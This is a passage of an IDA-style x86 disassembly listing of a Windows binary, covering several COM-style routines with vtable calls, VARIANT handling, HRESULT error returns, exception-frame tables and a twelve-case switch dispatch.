loc_69B460AC:				; CODE XREF: sub_69B45FDC+1Aj
					; sub_69B45FDC+33j
		call	sub_69B1853C
		retn	8
sub_69B45FDC	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 8
dword_69B460B8	dd 0FFFFFFFFh			dd offset loc_69B4606B
		dd offset loc_69B46074

; =============== S U B	R O U T	I N E =======================================



sub_69B460C4	proc near		; DATA XREF: .text:69B126A4o
		push	58h
		push	offset dword_69B46320
		call	sub_69B19C5C
		mov	eax, [ebp+2Ch]
		xor	esi, esi
		cmp	eax, esi
		jnz	short loc_69B460E3
		mov	eax, 80070057h
		jmp	loc_69B46315
; ---------------------------------------------------------------------------


loc_69B460E3:				; CODE XREF: sub_69B460C4+13j
		mov	[eax], esi
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		cmp	eax, esi
		jnz	short loc_69B460FC
		mov	eax, 80004005h
		jmp	loc_69B46315
; ---------------------------------------------------------------------------


loc_69B460FC:				; CODE XREF: sub_69B460C4+2Cj
		mov	ebx, [ebp+8]
		push	dword ptr [ebx+1Ch]
		push	eax
		lea	ecx, [ebp-28h]
		call	sub_69B1B406
		mov	[ebp-2Ch], esi
		push	dword ptr [ebx+1Ch]
		lea	ecx, [ebp-30h]
		call	sub_69B44112
		mov	[ebp-4], esi
		mov	[ebp-34h], esi
		or	dword ptr [ebp-38h], 0FFFFFFFFh
		mov	[ebp-3Ch], esi
		mov	[ebp-40h], esi
		mov	[ebp-44h], esi
		mov	eax, [ebx+1Ch]
		mov	[ebp-48h], eax
		lea	eax, [ebp-34h]
		push	eax		; int
		lea	eax, [ebp-38h]
		push	eax		; int
		sub	esp, 10h
		lea	esi, [ebp+1Ch]
		mov	edi, esp
		movsd
		movsd
		movsd
		movsd
		sub	esp, 10h
		lea	esi, [ebp+0Ch]
		mov	edi, esp
		movsd
		movsd
		movsd
		movsd
		call	sub_69B43EA1
		xor	edi, edi
		cmp	[ebp-34h], edi
		jz	loc_69B46247
		mov	ecx, [ebx+1Ch]
		mov	eax, [ecx]
		call	dword ptr [eax+0B4h]
		mov	[ebp-4Ch], eax
		cmp	eax, edi
		jz	short loc_69B46195
		mov	al, [eax+7Ch]
		mov	[ebp-4Dh], al
		test	al, al
		jz	short loc_69B46195
		push	dword ptr [ebp-34h] ; lpString
		call	sub_69B1A587
		mov	ecx, eax
		call	sub_69B2F266
		push	eax
		call	sub_69B1A2EC
		jmp	short loc_69B4619D
; ---------------------------------------------------------------------------


loc_69B46195:				; CODE XREF: sub_69B460C4+AEj
					; sub_69B460C4+B8j
		push	dword ptr [ebp-34h] ; lpString
		call	sub_69B11E05


loc_69B4619D:				; CODE XREF: sub_69B460C4+CFj
		mov	[ebp-54h], eax
		cmp	[ebp-38h], edi
		jge	short loc_69B461F5
		push	eax
		lea	eax, [ebp-40h]
		push	eax
		push	dword ptr [ebp-48h]
		mov	ecx, ebx
		call	sub_69B43E7F
		mov	esi, eax
		mov	[ebp-58h], esi
		cmp	esi, edi
		jz	loc_69B462AB
		push	dword ptr [ebp-54h]
		lea	eax, [ebp-40h]
		push	eax
		push	dword ptr [ebp-48h]
		mov	ecx, ebx
		call	sub_69B43E7F
		test	eax, eax
		jz	short loc_69B4621E
		mov	eax, [ebx+1Ch]
		mov	[ebp-5Ch], eax
		xor	ecx, ecx
		mov	cl, [ebx+24h]
		push	ecx
		push	dword ptr [ebp-54h]
		push	eax
		call	sub_69B45B21


loc_69B461EB:				; CODE XREF: sub_69B460C4+181j
					; sub_69B460C4+1C9j ...
		mov	ecx, [ebp+2Ch]
		mov	[ecx], eax
		jmp	loc_69B462B2
; ---------------------------------------------------------------------------


loc_69B461F5:				; CODE XREF: sub_69B460C4+DFj
					; sub_69B460C4+158j
		push	dword ptr [ebp-54h]
		lea	eax, [ebp-40h]
		push	eax
		push	dword ptr [ebp-48h]
		mov	ecx, ebx
		call	sub_69B43E7F
		mov	esi, eax
		mov	[ebp-58h], esi
		cmp	esi, edi
		jz	loc_69B462AB
		mov	eax, [ebp-44h]
		inc	dword ptr [ebp-44h]
		cmp	[ebp-38h], eax
		jnz	short loc_69B461F5


loc_69B4621E:				; CODE XREF: sub_69B460C4+110j
		cmp	esi, edi
		jz	loc_69B462AB


loc_69B46226:				; CODE XREF: sub_69B460C4+1BCj
		mov	[ebp-3Ch], esi
		push	1Ch
		cmp	byte ptr [ebx+24h], 0
		jz	short loc_69B46292
		call	sub_69B1D897
		mov	[ebp-64h], eax
		cmp	eax, edi
		jz	short loc_69B4628B
		push	esi
		mov	ecx, eax
		call	sub_69B45B61
		jmp	short loc_69B461EB
; ---------------------------------------------------------------------------


loc_69B46247:				; CODE XREF: sub_69B460C4+98j
		cmp	[ebp-38h], edi
		jge	short loc_69B46255
		mov	dword ptr [ebp-2Ch], 80070057h
		jmp	short loc_69B462B2
; ---------------------------------------------------------------------------


loc_69B46255:				; CODE XREF: sub_69B460C4+186j
					; sub_69B460C4+1B8j
		mov	eax, [ebx+20h]
		mov	[ebp-60h], eax
		push	eax
		lea	eax, [ebp-40h]
		push	eax
		push	dword ptr [ebp-48h]
		mov	ecx, ebx
		call	sub_69B43E7F
		mov	esi, eax
		mov	[ebp-58h], esi
		cmp	esi, edi
		jz	short loc_69B46282
		mov	eax, [ebp-44h]
		inc	dword ptr [ebp-44h]
		cmp	[ebp-38h], eax
		jnz	short loc_69B46255
		cmp	esi, edi
		jnz	short loc_69B46226


loc_69B46282:				; CODE XREF: sub_69B460C4+1ADj
		mov	dword ptr [ebp-2Ch], 80004005h
		jmp	short loc_69B462B2
; ---------------------------------------------------------------------------


loc_69B4628B:				; CODE XREF: sub_69B460C4+177j
					; sub_69B460C4+1D8j
		xor	eax, eax
		jmp	loc_69B461EB
; ---------------------------------------------------------------------------


loc_69B46292:				; CODE XREF: sub_69B460C4+16Bj
		call	sub_69B1D897
		mov	[ebp-68h], eax
		cmp	eax, edi
		jz	short loc_69B4628B
		push	esi
		mov	ecx, eax
		call	sub_69B458D3
		jmp	loc_69B461EB
; ---------------------------------------------------------------------------


loc_69B462AB:				; CODE XREF: sub_69B460C4+F7j
					; sub_69B460C4+149j ...
		mov	dword ptr [ebp-2Ch], 1


loc_69B462B2:				; CODE XREF: sub_69B460C4+12Cj
					; sub_69B460C4+18Fj ...
		or	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	short loc_69B462DF
; ---------------------------------------------------------------------------


loc_69B462B8:				; DATA XREF: .text:69B46324o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B462C1:				; DATA XREF: .text:69B46328o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	[ebp-2Ch], eax
		or	dword ptr [ebp-4], 0FFFFFFFFh
		xor	edi, edi


loc_69B462DF:				; CODE XREF: sub_69B460C4+1F2j
		cmp	dword ptr [ebp-2Ch], 8000000Ah
		jnz	short loc_69B462F4
		mov	dword ptr [ebp-2Ch], 1
		mov	eax, [ebp+2Ch]
		mov	[eax], edi


loc_69B462F4:				; CODE XREF: sub_69B460C4+222j
		lea	ecx, [ebp-30h]
		call	sub_69B1900C
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		cmp	[ebp-1Ch], edi
		jz	short loc_69B46312
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944


loc_69B46312:				; CODE XREF: sub_69B460C4+243j
		mov	eax, [ebp-2Ch]


loc_69B46315:				; CODE XREF: sub_69B460C4+1Aj
					; sub_69B460C4+33j
		call	sub_69B1853C
		retn	28h
sub_69B460C4	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h
dword_69B46320	dd 0FFFFFFFFh			dd offset loc_69B462B8
		dd offset loc_69B462C1
; ---------------------------------------------------------------------------


loc_69B4632C:				; DATA XREF: .text:off_69B28094o
		push	esi
		mov	esi, [esp+8]
		test	esi, esi
		jz	short loc_69B46363
		cmp	byte ptr [ecx+0Ch], 0
		push	1Ch
		jz	short loc_69B46350
		call	sub_69B1D897
		test	eax, eax
		jz	short loc_69B46363
		push	esi
		mov	ecx, eax
		call	sub_69B45B61
		jmp	short loc_69B46365
; ---------------------------------------------------------------------------


loc_69B46350:				; CODE XREF: .text:69B4633Bj
		call	sub_69B1D897
		test	eax, eax
		jz	short loc_69B46363
		push	esi
		mov	ecx, eax
		call	sub_69B458D3
		jmp	short loc_69B46365
; ---------------------------------------------------------------------------


loc_69B46363:				; CODE XREF: .text:69B46333j
					; .text:69B46344j ...
		xor	eax, eax


loc_69B46365:				; CODE XREF: .text:69B4634Ej
					; .text:69B46361j
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_69B46369:				; DATA XREF: .text:off_69B28084o
		sub	dword ptr [esp+4], 4
		jmp	sub_69B45E84
; ---------------------------------------------------------------------------


loc_69B46373:				; DATA XREF: .text:off_69B1DF68o
		sub	dword ptr [esp+4], 4
		jmp	sub_69B18AE3

; =============== S U B	R O U T	I N E =======================================



sub_69B4637D	proc near		; CODE XREF: sub_69B1C12C+3027p
					; sub_69B1C12C+3055p ...
		push	esi
		mov	esi, ecx
		mov	ecx, [esi]
		test	ecx, ecx
		jz	short loc_69B46393
		mov	eax, [ecx]
		call	dword ptr [eax+10h]
		mov	eax, [esi]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B46393:				; CODE XREF: sub_69B4637D+7j
		lea	ecx, [esi+8]
		pop	esi
		jmp	sub_69B1976C
sub_69B4637D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B4639C	proc near		; CODE XREF: sub_69B3FBF7+1Fp
					; sub_69B40DFB+28p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		test	edi, edi
		mov	esi, ecx
		jnz	short loc_69B463B7
		cmp	[ebp+arg_8], edi
		jnz	short loc_69B463B7
		and	[esi], edi
		mov	byte ptr [esi+4], 1
		jmp	short loc_69B46425
; ---------------------------------------------------------------------------


loc_69B463B7:				; CODE XREF: sub_69B4639C+Cj
					; sub_69B4639C+11j
		push	ebx
		mov	ebx, [ebp+arg_0]


loc_69B463BB:				; CODE XREF: sub_69B4639C+76j
		mov	ecx, [ebp+arg_8]
		test	ecx, ecx
		jz	short loc_69B463CC
		mov	eax, [ecx]
		call	dword ptr [eax+0B4h]
		mov	edi, eax


loc_69B463CC:				; CODE XREF: sub_69B4639C+24j
		xor	eax, eax
		cmp	[edi+0ACh], eax
		jnz	short loc_69B46414
		cmp	[esi+10h], eax
		jnz	short loc_69B463E1
		cmp	dword ptr [edi+40h], 4
		jz	short loc_69B4642B


loc_69B463E1:				; CODE XREF: sub_69B4639C+3Dj
		push	dword ptr [ebx+40h]
		mov	ecx, edi
		call	sub_69B3D963
		test	eax, eax
		mov	[esi], eax
		jz	short loc_69B46416
		mov	edx, [eax]
		mov	ecx, eax
		call	dword ptr [edx+0Ch]
		mov	ecx, [ebp+arg_8]
		test	ecx, ecx
		jz	short loc_69B46441
		mov	eax, [ecx]
		call	dword ptr [eax+0B4h]
		cmp	eax, edi
		jz	short loc_69B46441
		mov	ecx, [esi]
		mov	eax, [ecx]
		call	dword ptr [eax+10h]
		jmp	short loc_69B463BB
; ---------------------------------------------------------------------------


loc_69B46414:				; CODE XREF: sub_69B4639C+38j
		mov	[esi], eax


loc_69B46416:				; CODE XREF: sub_69B4639C+53j
					; sub_69B4639C+9Dj
		push	0C00CE212h
		call	sub_69B2D34C
		mov	byte ptr [esi+4], 0


loc_69B46424:				; CODE XREF: sub_69B4639C+A3j
		pop	ebx


loc_69B46425:				; CODE XREF: sub_69B4639C+19j
		pop	edi
		pop	esi
		pop	ebp
		retn	0Ch
; ---------------------------------------------------------------------------


loc_69B4642B:				; CODE XREF: sub_69B4639C+43j
		mov	[esi], eax
		push	dword ptr [ebx+40h]
		mov	ecx, edi
		call	sub_69B3D963
		test	eax, eax
		jz	short loc_69B46416


loc_69B4643B:				; CODE XREF: sub_69B4639C+ADj
		mov	byte ptr [esi+4], 1
		jmp	short loc_69B46424
; ---------------------------------------------------------------------------


loc_69B46441:				; CODE XREF: sub_69B4639C+61j
					; sub_69B4639C+6Dj
		mov	eax, [esi]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+4]
		jmp	short loc_69B4643B
sub_69B4639C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B4644B	proc near		; DATA XREF: .data:69B992A0o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_4]
		push	ebx
		add	ecx, 0FFFFFFFEh
		cmp	ecx, 0Bh	; switch 12 cases
		push	esi
		push	edi
		mov	eax, 80020003h
		ja	loc_69B465F4	; default
		jmp	ds:off_69B465FB[ecx*4] ; switch	jump


loc_69B4646C:				; DATA XREF: .text:off_69B465FBo
		test	[ebp+arg_C], 2	; jumptable 69B46465 case 0
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		jz	short loc_69B46483
		push	[ebp+arg_10]
		push	eax
		call	dword ptr [ecx+20h]
		jmp	loc_69B465F4	; default
; ---------------------------------------------------------------------------


loc_69B46483:				; CODE XREF: sub_69B4644B+2Aj
		mov	esi, [ebp+arg_8]
		sub	esp, 10h
		mov	edi, esp
		movsd
		movsd
		movsd
		push	eax
		movsd
		call	dword ptr [ecx+1Ch]
		jmp	loc_69B465F4	; default
; ---------------------------------------------------------------------------


loc_69B46498:				; CODE XREF: sub_69B4644B+1Aj
					; DATA XREF: .text:off_69B465FBo
		mov	edx, [ebp+arg_10] ; jumptable 69B46465 case 1
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		add	edx, 8
		push	edx
		push	eax
		call	dword ptr [ecx+24h]
		jmp	loc_69B465F4	; default
; ---------------------------------------------------------------------------


loc_69B464AD:				; CODE XREF: sub_69B4644B+1Aj
					; DATA XREF: .text:off_69B465FBo
		cmp	[ebp+arg_14], 2	; jumptable 69B46465 case 2
		mov	eax, [ebp+arg_8]
		jnz	short loc_69B464C8
		test	byte ptr [eax+19h], 40h
		jz	short loc_69B464C3
		mov	ecx, [eax+20h]
		mov	edx, [ecx]
		jmp	short loc_69B464CA
; ---------------------------------------------------------------------------


loc_69B464C3:				; CODE XREF: sub_69B4644B+6Fj
		mov	edx, [eax+20h]
		jmp	short loc_69B464CA
; ---------------------------------------------------------------------------


loc_69B464C8:				; CODE XREF: sub_69B4644B+69j
		xor	edx, edx


loc_69B464CA:				; CODE XREF: sub_69B4644B+76j
					; sub_69B4644B+7Bj
		test	byte ptr [eax+1], 40h
		mov	eax, [eax+8]
		jz	short loc_69B464D5
		mov	eax, [eax]


loc_69B464D5:				; CODE XREF: sub_69B4644B+86j
		mov	ecx, [ebp+arg_0]
		mov	esi, [ecx]
		push	edx
		push	eax
		push	ecx
		call	dword ptr [esi+28h]
		jmp	loc_69B465F4	; default
; ---------------------------------------------------------------------------


loc_69B464E5:				; CODE XREF: sub_69B4644B+1Aj
					; DATA XREF: .text:off_69B465FBo
		mov	edx, [ebp+arg_10] ; jumptable 69B46465 case 3
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		add	edx, 8
		push	edx
		push	eax
		call	dword ptr [ecx+2Ch]
		jmp	loc_69B465F4	; default
; ---------------------------------------------------------------------------


loc_69B464FA:				; CODE XREF: sub_69B4644B+1Aj
					; DATA XREF: .text:off_69B465FBo
		mov	edx, [ebp+arg_10] ; jumptable 69B46465 case 4
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		add	edx, 8
		push	edx
		push	eax
		call	dword ptr [ecx+30h]
		jmp	loc_69B465F4	; default
; ---------------------------------------------------------------------------


loc_69B4650F:				; CODE XREF: sub_69B4644B+1Aj
					; DATA XREF: .text:off_69B465FBo
		test	[ebp+arg_C], 2	; jumptable 69B46465 case 5
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		jz	short loc_69B46526
		push	[ebp+arg_10]
		push	eax
		call	dword ptr [ecx+38h]
		jmp	loc_69B465F4	; default
; ---------------------------------------------------------------------------


loc_69B46526:				; CODE XREF: sub_69B4644B+CDj
		mov	esi, [ebp+arg_8]
		sub	esp, 10h
		mov	edi, esp
		movsd
		movsd
		movsd
		push	eax
		movsd
		call	dword ptr [ecx+34h]
		jmp	loc_69B465F4	; default
; ---------------------------------------------------------------------------


loc_69B4653B:				; CODE XREF: sub_69B4644B+1Aj
					; DATA XREF: .text:off_69B465FBo
		mov	edx, [ebp+arg_10] ; jumptable 69B46465 case 6
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		add	edx, 8
		push	edx
		push	eax
		call	dword ptr [ecx+3Ch]
		jmp	loc_69B465F4	; default
; ---------------------------------------------------------------------------


loc_69B46550:				; CODE XREF: sub_69B4644B+1Aj
					; DATA XREF: .text:off_69B465FBo
		mov	eax, [ebp+arg_0] ; jumptable 69B46465 case 7
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+40h]
		jmp	loc_69B465F4	; default
; ---------------------------------------------------------------------------


loc_69B4655E:				; CODE XREF: sub_69B4644B+1Aj
					; DATA XREF: .text:off_69B465FBo
		mov	edx, [ebp+arg_10] ; jumptable 69B46465 case 8
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		add	edx, 8
		push	edx
		push	eax
		call	dword ptr [ecx+44h]
		jmp	loc_69B465F4	; default
; ---------------------------------------------------------------------------


loc_69B46573:				; CODE XREF: sub_69B4644B+1Aj
					; DATA XREF: .text:off_69B465FBo
		cmp	[ebp+arg_14], 3	; jumptable 69B46465 case 9
		mov	eax, [ebp+arg_8]
		jnz	short loc_69B4658E
		test	byte ptr [eax+31h], 40h
		jz	short loc_69B46589
		mov	ecx, [eax+38h]
		mov	esi, [ecx]
		jmp	short loc_69B46590
; ---------------------------------------------------------------------------


loc_69B46589:				; CODE XREF: sub_69B4644B+135j
		mov	esi, [eax+38h]
		jmp	short loc_69B46590
; ---------------------------------------------------------------------------


loc_69B4658E:				; CODE XREF: sub_69B4644B+12Fj
		xor	esi, esi


loc_69B46590:				; CODE XREF: sub_69B4644B+13Cj
					; sub_69B4644B+141j
		test	byte ptr [eax+1], 40h
		jz	short loc_69B4659D
		mov	ecx, [eax+8]
		mov	edx, [ecx]
		jmp	short loc_69B465A0
; ---------------------------------------------------------------------------


loc_69B4659D:				; CODE XREF: sub_69B4644B+149j
		mov	edx, [eax+8]


loc_69B465A0:				; CODE XREF: sub_69B4644B+150j
		mov	ecx, [ebp+arg_0]
		mov	ebx, [ecx]
		push	esi
		sub	esp, 10h
		mov	edi, esp
		lea	esi, [eax+18h]
		movsd
		movsd
		movsd
		push	edx
		push	ecx
		movsd
		call	dword ptr [ebx+48h]
		jmp	short loc_69B465F4 ; default
; ---------------------------------------------------------------------------


loc_69B465B9:				; CODE XREF: sub_69B4644B+1Aj
					; DATA XREF: .text:off_69B465FBo
		mov	eax, [ebp+arg_8] ; jumptable 69B46465 case 10
		test	byte ptr [eax+19h], 40h
		jz	short loc_69B465C9
		mov	ecx, [eax+20h]
		mov	edx, [ecx]
		jmp	short loc_69B465CC
; ---------------------------------------------------------------------------


loc_69B465C9:				; CODE XREF: sub_69B4644B+175j
		mov	edx, [eax+20h]


loc_69B465CC:				; CODE XREF: sub_69B4644B+17Cj
		test	byte ptr [eax+1], 40h
		mov	eax, [eax+8]
		jz	short loc_69B465D7
		mov	eax, [eax]


loc_69B465D7:				; CODE XREF: sub_69B4644B+188j
		mov	ecx, [ebp+arg_0]
		mov	esi, [ecx]
		push	edx
		push	eax
		push	ecx
		call	dword ptr [esi+4Ch]
		jmp	short loc_69B465F4 ; default
; ---------------------------------------------------------------------------


loc_69B465E4:				; CODE XREF: sub_69B4644B+1Aj
					; DATA XREF: .text:off_69B465FBo
		mov	edx, [ebp+arg_10] ; jumptable 69B46465 case 11
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		add	edx, 8
		push	edx
		push	eax
		call	dword ptr [ecx+50h]


loc_69B465F4:				; CODE XREF: sub_69B4644B+14j
					; sub_69B4644B+33j ...
		pop	edi		; default
		pop	esi
		pop	ebx
		pop	ebp
		retn	18h
sub_69B4644B	endp

; ---------------------------------------------------------------------------
off_69B465FB	dd offset loc_69B4646C	; DATA XREF: sub_69B4644B+1Ar
		dd offset loc_69B46498	; jump table for switch	statement
		dd offset loc_69B464AD
		dd offset loc_69B464E5
		dd offset loc_69B464FA
		dd offset loc_69B4650F
		dd offset loc_69B4653B
		dd offset loc_69B46550
		dd offset loc_69B4655E
		dd offset loc_69B46573
		dd offset loc_69B465B9
		dd offset loc_69B465E4

; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_69B4662B(int, VARIANTARG *pvargDest)

sub_69B4662B	proc near		; DATA XREF: .text:69B126C8o

arg_0		= dword	ptr  4
pvargDest	= dword	ptr  8

		cmp	[esp+pvargDest], 0
		jnz	short loc_69B46639
		mov	eax, 80070057h
		jmp	short locret_69B4664B
; ---------------------------------------------------------------------------


loc_69B46639:				; CODE XREF: sub_69B4662B+5j
		mov	eax, [esp+arg_0]
		add	eax, 40h
		push	eax		; pvargSrc
		push	[esp+4+pvargDest] ; pvargDest
		call	VariantCopy

locret_69B4664B:			; CODE XREF: sub_69B4662B+Cj
		retn	8
sub_69B4662B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B4664E	proc near		; DATA XREF: .text:69B126ECo

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		call	dword_69B92948
		mov	edi, eax
		xor	esi, esi
		cmp	edi, esi
		jnz	short loc_69B4666B
		mov	eax, 80004005h
		jmp	short loc_69B466C6
; ---------------------------------------------------------------------------


loc_69B4666B:				; CODE XREF: sub_69B4664E+14j
		push	esi
		lea	ecx, [ebp+var_C]
		call	sub_69B11D3B
		mov	ecx, [ebp+arg_4]
		cmp	ecx, esi
		jnz	short loc_69B46682
		mov	esi, 80070057h
		jmp	short loc_69B466B5
; ---------------------------------------------------------------------------


loc_69B46682:				; CODE XREF: sub_69B4664E+2Bj
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+58h]
		cmp	eax, esi
		jz	short loc_69B466B3
		cmp	eax, 1
		jz	short loc_69B466AB
		jle	short loc_69B466B5
		push	4
		pop	edx
		cmp	eax, edx
		jle	short loc_69B466A3
		cmp	eax, 5
		jnz	short loc_69B466B5
		mov	[ecx], edx
		jmp	short loc_69B466B5
; ---------------------------------------------------------------------------


loc_69B466A3:				; CODE XREF: sub_69B4664E+4Aj
		mov	dword ptr [ecx], 3
		jmp	short loc_69B466B5
; ---------------------------------------------------------------------------


loc_69B466AB:				; CODE XREF: sub_69B4664E+41j
		mov	dword ptr [ecx], 2
		jmp	short loc_69B466B5
; ---------------------------------------------------------------------------


loc_69B466B3:				; CODE XREF: sub_69B4664E+3Cj
		mov	[ecx], esi


loc_69B466B5:				; CODE XREF: sub_69B4664E+32j
					; sub_69B4664E+43j ...
		lea	ecx, [ebp+var_C]
		call	sub_69B1976C
		push	edi
		call	dword_69B92944
		mov	eax, esi


loc_69B466C6:				; CODE XREF: sub_69B4664E+1Bj
		pop	edi
		pop	esi
		leave
		retn	8
sub_69B4664E	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B466CC	proc near		; CODE XREF: .text:loc_69B468E6j
					; sub_69B46F8F+11p ...
		push	esi
		mov	esi, ecx
		cmp	byte ptr [esi+4], 0
		jz	short loc_69B466EA
		mov	eax, [esi]
		cmp	eax, 5
		jz	short loc_69B466E1
		cmp	eax, 6
		jnz	short loc_69B466EA


loc_69B466E1:				; CODE XREF: sub_69B466CC+Ej
		mov	eax, [esi+8]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B466EA:				; CODE XREF: sub_69B466CC+7j
					; sub_69B466CC+13j
		and	dword ptr [esi], 0
		pop	esi
		retn
sub_69B466CC	endp


; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_69B466EF(VARIANTARG	*pvarg)

sub_69B466EF	proc near		; CODE XREF: sub_69B467AF+51p

pvarg		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+pvarg]
		push	edi
		push	esi		; pvarg
		mov	edi, ecx
		call	VariantInit
		mov	eax, [edi+24h]
		test	eax, eax
		jz	short loc_69B46715
		mov	[esi+8], eax
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+4]
		mov	word ptr [esi],	0Dh
		jmp	short loc_69B4673B
; ---------------------------------------------------------------------------


loc_69B46715:				; CODE XREF: sub_69B466EF+14j
		mov	ecx, [edi+30h]
		test	ecx, ecx
		jz	short loc_69B46732
		call	sub_69B88D01
		mov	[esi+8], eax
		mov	word ptr [esi],	8
		mov	eax, [edi+30h]
		and	dword ptr [eax+8], 0
		jmp	short loc_69B4673B
; ---------------------------------------------------------------------------


loc_69B46732:				; CODE XREF: sub_69B466EF+2Bj
		and	dword ptr [esi+8], 0
		mov	word ptr [esi],	8


loc_69B4673B:				; CODE XREF: sub_69B466EF+24j
					; sub_69B466EF+41j
		pop	edi
		pop	esi
		retn	4
sub_69B466EF	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B46740	proc near		; CODE XREF: sub_69B47486+93p
		push	10h
		push	offset dword_69B46780
		call	sub_69B19C5C
		and	dword ptr [ebp-4], 0
		mov	ecx, [ecx+20h]
		mov	[ebp-1Ch], ecx
		call	sub_69B6EF3C
		xor	eax, eax
		mov	[ebp-20h], eax
		jmp	short loc_69B46773
; ---------------------------------------------------------------------------


loc_69B46762:				; DATA XREF: .text:69B46784o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B4676B:				; DATA XREF: .text:69B46788o
		mov	esp, [ebp-18h]
		call	sub_69B2E808


loc_69B46773:				; CODE XREF: sub_69B46740+20j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		call	sub_69B1853C
		retn
sub_69B46740	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h
dword_69B46780	dd 0FFFFFFFFh			dd offset loc_69B46762
		dd offset loc_69B4676B

; =============== S U B	R O U T	I N E =======================================



sub_69B4678C	proc near		; DATA XREF: .text:69B126CCo

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		test	ecx, ecx
		jnz	short loc_69B4679B
		mov	eax, 80070057h
		jmp	short locret_69B467AC
; ---------------------------------------------------------------------------


loc_69B4679B:				; CODE XREF: sub_69B4678C+6j
		mov	eax, [esp+arg_0]
		mov	eax, [eax+1Ch]
		mov	[ecx], eax
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+4]
		xor	eax, eax

locret_69B467AC:			; CODE XREF: sub_69B4678C+Dj
		retn	8
sub_69B4678C	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B467AF	proc near		; DATA XREF: .text:69B126E0o
		push	1Ch
		push	offset dword_69B46850
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		xor	esi, esi
		cmp	eax, esi
		jnz	short loc_69B467D1
		mov	eax, 80004005h
		jmp	short loc_69B46843
; ---------------------------------------------------------------------------


loc_69B467D1:				; CODE XREF: sub_69B467AF+19j
		push	esi
		lea	ecx, [ebp-28h]
		call	sub_69B11D3B
		cmp	[ebp+0Ch], esi
		jnz	short loc_69B467F7
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, 80070057h
		jmp	short loc_69B46843
; ---------------------------------------------------------------------------


loc_69B467F7:				; CODE XREF: sub_69B467AF+2Ej
		mov	[ebp-4], esi
		push	dword ptr [ebp+0Ch] ; pvarg
		mov	ecx, [ebp+8]
		call	sub_69B466EF
		mov	[ebp-2Ch], esi
		jmp	short loc_69B4682B
; ---------------------------------------------------------------------------


loc_69B4680A:				; DATA XREF: .text:69B46854o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B46813:				; DATA XREF: .text:69B46858o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	[ebp-2Ch], eax


loc_69B4682B:				; CODE XREF: sub_69B467AF+59j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, [ebp-2Ch]


loc_69B46843:				; CODE XREF: sub_69B467AF+20j
					; sub_69B467AF+46j
		call	sub_69B1853C
		retn	8
sub_69B467AF	endp

; ---------------------------------------------------------------------------
		align 10h
dword_69B46850	dd 0FFFFFFFFh			dd offset loc_69B4680A
		dd offset loc_69B46813

; =============== S U B	R O U T	I N E =======================================



sub_69B4685C	proc near		; DATA XREF: .text:69B126F8o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		test	ecx, ecx
		jnz	short loc_69B4686B
		mov	eax, 80070057h
		jmp	short locret_69B4687F
; ---------------------------------------------------------------------------


loc_69B4686B:				; CODE XREF: sub_69B4685C+6j
		mov	eax, [esp+arg_0]
		mov	edx, [eax+34h]
		mov	[ecx], edx
		mov	eax, [eax+34h]
